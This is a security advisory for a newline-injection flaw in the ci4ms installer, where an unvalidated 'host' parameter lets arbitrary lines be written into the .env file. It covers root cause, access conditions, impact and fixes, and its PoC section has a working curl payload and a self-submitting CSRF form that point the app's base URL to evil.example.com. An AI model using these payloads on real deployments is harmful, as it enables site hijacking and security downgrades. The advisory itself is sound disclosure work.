Summary

The Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment).

Details

In modules/Install/Controllers/Install.php, the $valData array (lines 13-27) defines validation rules for all POST parameters except host. The host value is read at line 35:

// line 32-41
$updates = [
    'CI_ENVIRONMENT' => 'development',
    'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'',
    'database.default.hostname' => $this->request->getPost('host'),  // NO VALIDATION
    'database.default.database' => $this->request->getPost('dbname'),
    // ...
];

This value is passed to updateEnvSettings() (lines 89-101), which uses preg_replace with the raw value as the replacement string:

// line 94-98
foreach ($updates as $key => $value) {
    $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
    $replacement = "{$key}={$value}";
    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
    else $contents .= PHP_EOL . $replacement;
}

Since the env template has all lines commented out (e.g., # database.default.hostname = localhost), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into .env.

The dbpassword field (line 17) is a secondary vector — its validation (permit_empty|max_length[255]) does not reject newline characters.

Access conditions:

• CSRF is explicitly disabled for install routes (InstallConfig.php:7-9), confirmed consumed by Filters.php:220-231,246-251.
• InstallFilter (line 13) only blocks when both .env exists and cache('settings') is populated. The endpoint is accessible during fresh install or after cache expiry/clear.

Mitigation note: encryption.key injection is NOT exploitable because generateEncryptionKey() (line 70) runs after updateEnvSettings() and overwrites all encryption.key= lines with a cryptographically random value. However, all other .env settings remain injectable.

PoC

Scenario: Application is deployed but cache has expired (or fresh install window).

# Inject app.baseURL override and disable secure requests via host parameter
# The %0a represents a newline that creates new .env lines
curl -X POST 'http://target/install/' \
  -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler'

Expected result: The .env file will contain:

database.default.hostname=localhost
app.baseURL=http://evil.example.com/
app.forceGlobalSecureRequests=false
session.driver=CodeIgniter\Session\Handlers\DatabaseHandler

These injected lines override the legitimate app.baseURL set earlier (CI4's DotEnv processes top-to-bottom; later values win for putenv), redirect the application base URL to an attacker-controlled domain, and modify session handling.

CSRF exploitation variant (no direct access needed):

<!-- Hosted on attacker site, victim admin visits while cache is empty -->
<form id="f" method="POST" action="http://target/install/">
  <input name="baseUrl" value="http://target/">
  <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'">
  <!-- ... other required fields ... -->
</form>
<script>document.getElementById('f').submit();</script>

Impact

An unauthenticated attacker can inject arbitrary configuration into the .env file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:

• Application URL hijacking — injecting app.baseURL to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure
• Security downgrade — disabling forceGlobalSecureRequests, CSP, or other security settings
• Session manipulation — changing session driver or save path configuration
• Full application reconfiguration — the copyEnvFile() method overwrites the existing .env with the template before applying updates, destroying the current configuration (denial of service)
• Database redirect — while not via the host injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior

The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.

Recommended Fix

1. Add validation for the host parameter — reject newlines and restrict to valid hostnames/IPs:

// In $valData, add:
'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],

2. Sanitize all values in updateEnvSettings() — strip newlines from replacement strings:

private function updateEnvSettings(array $updates)
{
    $envPath = ROOTPATH . '.env';
    if (!file_exists($envPath)) return ['error' => "'.env' file not found."];
    $contents = file_get_contents($envPath);
    foreach ($updates as $key => $value) {
        $value = str_replace(["\r", "\n"], '', (string) $value);  // Strip CRLF
        $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
        $replacement = "{$key}={$value}";
        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
        else $contents .= PHP_EOL . $replacement;
    }
    file_put_contents($envPath, $contents);
    return true;
}

3. Add newline validation to dbpassword — add regex_match[/^[^\r\n]*$/] to the validation rules.

4. Strengthen InstallFilter — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).

References

• GHSA-vfhx-5459-qhqh
• https://nvd.nist.gov/vuln/detail/CVE-2026-39394
• https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0